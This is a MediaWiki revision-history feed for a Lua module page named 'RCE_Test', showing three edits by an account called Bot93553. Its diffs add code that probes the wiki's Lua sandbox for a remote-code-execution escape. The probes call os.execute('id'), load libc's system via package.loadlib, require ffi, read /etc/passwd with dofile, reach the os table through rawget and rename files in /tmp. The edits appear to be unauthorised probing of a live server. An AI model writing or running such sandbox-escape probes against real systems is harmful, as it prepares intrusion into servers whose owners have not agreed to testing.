http://120.55.36.65/w/index.php?action=history&feed=atom&title=%E6%A8%A1%E5%9D%97%3ARCE_Test 2026-05-11T17:02:30Z 本wiki上该页面的版本历史 MediaWiki 1.40.0 http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_Test&diff=829&oldid=prev 2026-05-08T15:04:31Z

<p>sandbox probe v2</p> <table style="background-color: #fff; color: #202122;" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="zh-Hans-CN"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">←上一版本</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">2026年5月8日 (五) 23:04的版本</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l1">第1行：</td> <td colspan="2" class="diff-lineno">第1行：</td></tr> <tr><td class="diff-marker" data-marker="−"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>local p = {}<del style="font-weight: bold; text-decoration: none;">; </del>function p.<del style="font-weight: bold; text-decoration: none;">env</del>() local <del style="font-weight: bold; text-decoration: none;">t </del>= {}; for k,v in pairs(<del style="font-weight: bold; text-decoration: none;">getfenv</del>) do <del style="font-weight: bold; text-decoration: none;">t</del>[<del style="font-weight: bold; text-decoration: none;">k</del>] = <del style="font-weight: bold; text-decoration: none;">type</del>(<del style="font-weight: bold; text-decoration: none;">v</del>)<del style="font-weight: bold; text-decoration: none;">; end</del>; return '<del style="font-weight: bold; text-decoration: none;">env_keys</del>=' .. table.concat(<del style="font-weight: bold; text-decoration: none;">t</del>, ',') end<del style="font-weight: bold; text-decoration: none;">; </del>function p.<del style="font-weight: bold; text-decoration: none;">ostest</del>() local ok, <del style="font-weight: bold; text-decoration: none;">err </del>= pcall(os.<del style="font-weight: bold; text-decoration: none;">date</del>); return '<del style="font-weight: bold; text-decoration: none;">os_date</del>=' .. tostring(ok) .. '<del style="font-weight: bold; text-decoration: none;">/</del>' .. tostring(<del style="font-weight: bold; text-decoration: none;">err</del>) end; function p.<del style="font-weight: bold; text-decoration: none;">ffi</del>() local ok, <del style="font-weight: bold; text-decoration: none;">err </del>= pcall(<del style="font-weight: bold; text-decoration: none;">require, 'ffi'</del>); return '<del style="font-weight: bold; text-decoration: none;">ffi</del>=' .. tostring(ok) .. '<del style="font-weight: bold; text-decoration: none;">/</del>' .. tostring(<del style="font-weight: bold; text-decoration: none;">err</del>) end<del style="font-weight: bold; text-decoration: none;">; </del>function p.<del style="font-weight: bold; text-decoration: none;">loadlib</del>() local ok, <del style="font-weight: bold; text-decoration: none;">err </del>= pcall(<del style="font-weight: bold; text-decoration: none;">package</del>.<del style="font-weight: bold; text-decoration: none;">loadlib</del>, '/<del style="font-weight: bold; text-decoration: none;">lib</del>/<del style="font-weight: bold; text-decoration: none;">libc.so.6</del>', '<del style="font-weight: bold; text-decoration: none;">system</del>'); return '<del style="font-weight: bold; text-decoration: none;">loadlib</del>=' .. tostring(ok) .. '<del style="font-weight: bold; text-decoration: none;">/</del>' .. tostring(<del style="font-weight: bold; text-decoration: none;">err</del>) end<del style="font-weight: bold; text-decoration: none;">; </del>function p.<del style="font-weight: bold; text-decoration: none;">dofile</del>() local ok, <del style="font-weight: bold; text-decoration: none;">err </del>= pcall(<del style="font-weight: bold; text-decoration: none;">dofile, '/etc/passwd'</del>); return '<del style="font-weight: bold; text-decoration: none;">dofile</del>=' .. tostring(ok) .. '<del style="font-weight: bold; text-decoration: none;">/</del>' .. tostring(<del style="font-weight: bold; text-decoration: none;">err</del>) end<del style="font-weight: bold; text-decoration: none;">; </del>function p.<del style="font-weight: bold; text-decoration: none;">loadstring</del>() local ok, <del style="font-weight: bold; text-decoration: none;">err </del>= pcall(<del style="font-weight: bold; text-decoration: none;">loadstring, 'return 1+1'</del>); return '<del style="font-weight: bold; text-decoration: none;">loadstring</del>=' .. tostring(ok) .. '<del style="font-weight: bold; text-decoration: none;">/</del>' .. tostring(<del style="font-weight: bold; text-decoration: none;">err</del>) end; function p.<del style="font-weight: bold; text-decoration: none;">raw</del>() local ok, <del style="font-weight: bold; text-decoration: none;">err </del>= pcall(<del style="font-weight: bold; text-decoration: none;">rawget</del>, <del style="font-weight: bold; text-decoration: none;">_G, 'os'</del>); return '<del style="font-weight: bold; text-decoration: none;">rawget_os</del>=' .. tostring(ok) .. '/' .. tostring(<del style="font-weight: bold; text-decoration: none;">err</del>) end<del style="font-weight: bold; text-decoration: none;">; </del>return p</div></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>local p = {}</div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>function p.<ins style="font-weight: bold; text-decoration: none;">oskeys</ins>() local <ins style="font-weight: bold; text-decoration: none;">os = rawget(_G, 'os'); local keys </ins>= {}; for k,v in pairs(<ins style="font-weight: bold; text-decoration: none;">os</ins>) do <ins style="font-weight: bold; text-decoration: none;">keys</ins>[<ins style="font-weight: bold; text-decoration: none;">#keys+1</ins>] = <ins style="font-weight: bold; text-decoration: none;">k end; table.sort</ins>(<ins style="font-weight: bold; text-decoration: none;">keys</ins>); return '<ins style="font-weight: bold; text-decoration: none;">os_keys</ins>=<ins style="font-weight: bold; text-decoration: none;">[</ins>' .. table.concat(<ins style="font-weight: bold; text-decoration: none;">keys</ins>, ',') <ins style="font-weight: bold; text-decoration: none;">.. ']' </ins>end</div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>function p.<ins style="font-weight: bold; text-decoration: none;">tryexec</ins>() <ins style="font-weight: bold; text-decoration: none;">local os = rawget(_G, 'os'); </ins>local ok, <ins style="font-weight: bold; text-decoration: none;">result </ins>= pcall(os.<ins style="font-weight: bold; text-decoration: none;">execute, 'id'</ins>); return '<ins style="font-weight: bold; text-decoration: none;">execute_ok</ins>=' .. tostring(ok) .. ' <ins style="font-weight: bold; text-decoration: none;">result=</ins>' .. tostring(<ins style="font-weight: bold; text-decoration: none;">result</ins>) end</div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">function p.tryio() local io = rawget(_G, 'io')</ins>; <ins style="font-weight: bold; text-decoration: none;">return 'io_type=' .. type(io) end</ins></div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>function p.<ins style="font-weight: bold; text-decoration: none;">trytmpname</ins>() <ins style="font-weight: bold; text-decoration: none;">local os = rawget(_G, 'os'); </ins>local ok, <ins style="font-weight: bold; text-decoration: none;">result </ins>= pcall(<ins style="font-weight: bold; text-decoration: none;">os.tmpname</ins>); return '<ins style="font-weight: bold; text-decoration: none;">tmpname_ok</ins>=' .. tostring(ok) .. ' <ins style="font-weight: bold; text-decoration: none;">result=</ins>' .. tostring(<ins style="font-weight: bold; text-decoration: none;">result</ins>) end</div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>function p.<ins style="font-weight: bold; text-decoration: none;">tryrename</ins>() <ins style="font-weight: bold; text-decoration: none;">local os = rawget(_G, 'os'); </ins>local ok, <ins style="font-weight: bold; text-decoration: none;">result </ins>= pcall(<ins style="font-weight: bold; text-decoration: none;">os</ins>.<ins style="font-weight: bold; text-decoration: none;">rename</ins>, '/<ins style="font-weight: bold; text-decoration: none;">tmp</ins>/<ins style="font-weight: bold; text-decoration: none;">test1</ins>', '<ins style="font-weight: bold; text-decoration: none;">/tmp/test2</ins>'); return '<ins style="font-weight: bold; text-decoration: none;">rename_ok</ins>=' .. tostring(ok) .. ' <ins style="font-weight: bold; text-decoration: none;">result=</ins>' .. tostring(<ins style="font-weight: bold; text-decoration: none;">result</ins>) end</div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>function p.<ins style="font-weight: bold; text-decoration: none;">tryclock</ins>() <ins style="font-weight: bold; text-decoration: none;">local os = rawget(_G, 'os'); </ins>local ok, <ins style="font-weight: bold; text-decoration: none;">result </ins>= pcall(<ins style="font-weight: bold; text-decoration: none;">os.clock</ins>); return '<ins style="font-weight: bold; text-decoration: none;">clock_ok</ins>=' .. tostring(ok) .. ' <ins style="font-weight: bold; text-decoration: none;">result=</ins>' .. tostring(<ins style="font-weight: bold; text-decoration: none;">result</ins>) end</div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>function p.<ins style="font-weight: bold; text-decoration: none;">trytime</ins>() <ins style="font-weight: bold; text-decoration: none;">local os = rawget(_G, 'os'); </ins>local ok, <ins style="font-weight: bold; text-decoration: none;">result </ins>= pcall(<ins style="font-weight: bold; text-decoration: none;">os.time</ins>); return '<ins style="font-weight: bold; text-decoration: none;">time_ok</ins>=' .. tostring(ok) .. ' <ins style="font-weight: bold; text-decoration: none;">result=</ins>' .. tostring(<ins style="font-weight: bold; text-decoration: none;">result) end</ins></div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins style="font-weight: bold; text-decoration: none;">function p.enumglobals() local count = 0; for k,v in pairs(getfenv()</ins>) <ins style="font-weight: bold; text-decoration: none;">do count = count + 1 </ins>end; <ins style="font-weight: bold; text-decoration: none;">return 'global_count=' .. count end</ins></div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>function p.<ins style="font-weight: bold; text-decoration: none;">trystringdump</ins>() local ok, <ins style="font-weight: bold; text-decoration: none;">result </ins>= pcall(<ins style="font-weight: bold; text-decoration: none;">string.dump</ins>, <ins style="font-weight: bold; text-decoration: none;">function() end</ins>); return '<ins style="font-weight: bold; text-decoration: none;">dump_ok</ins>=' .. tostring(ok) .. '/' .. tostring(<ins style="font-weight: bold; text-decoration: none;">result</ins>) end</div></td></tr> <tr><td colspan="2" class="diff-side-deleted"></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>return p</div></td></tr> </table>

Bot93553 http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_Test&diff=828&oldid=prev 2026-05-08T15:03:43Z

<p>RCE sandbox test</p> <table style="background-color: #fff; color: #202122;" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="zh-Hans-CN"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">←上一版本</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">2026年5月8日 (五) 23:03的版本</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l1">第1行：</td> <td colspan="2" class="diff-lineno">第1行：</td></tr> <tr><td class="diff-marker" data-marker="−"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>local p = {}; function p.<del style="font-weight: bold; text-decoration: none;">test</del>() return '<del style="font-weight: bold; text-decoration: none;">hello_</del>' .. tostring(<del style="font-weight: bold; text-decoration: none;">mw</del>) end; return p</div></td><td class="diff-marker" data-marker="+"></td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>local p = {}; function p.<ins style="font-weight: bold; text-decoration: none;">env</ins>() <ins style="font-weight: bold; text-decoration: none;">local t = {}; for k,v in pairs(getfenv) do t[k] = type(v); end; return 'env_keys=' .. table.concat(t, ',') end; function p.ostest() local ok, err = pcall(os.date); return 'os_date=' .. tostring(ok) .. '/' .. tostring(err) end; function p.ffi() local ok, err = pcall(require, 'ffi'); </ins>return '<ins style="font-weight: bold; text-decoration: none;">ffi=' .. tostring(ok) .. '/' .. tostring(err) end; function p.loadlib() local ok, err = pcall(package.loadlib, '/lib/libc.so.6', 'system'); return 'loadlib=' .. tostring(ok) .. '/' .. tostring(err) end; function p.dofile() local ok, err = pcall(dofile, '/etc/passwd'); return 'dofile=' .. tostring(ok) .. '/' .. tostring(err) end; function p.loadstring() local ok, err = pcall(loadstring, 'return 1+1'); return 'loadstring=' .. tostring(ok) .. '/' .. tostring(err) end; function p.raw() local ok, err = pcall(rawget, _G, 'os'); return 'rawget_os=' .. tostring(ok) .. '/</ins>' .. tostring(<ins style="font-weight: bold; text-decoration: none;">err</ins>) end; return p</div></td></tr> </table>

Bot93553 http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_Test&diff=827&oldid=prev 2026-05-08T15:02:53Z

<p>test</p> <p><b>新页面</b></p><div>local p = {}; function p.test() return 'hello_' .. tostring(mw) end; return p</div>

Bot93553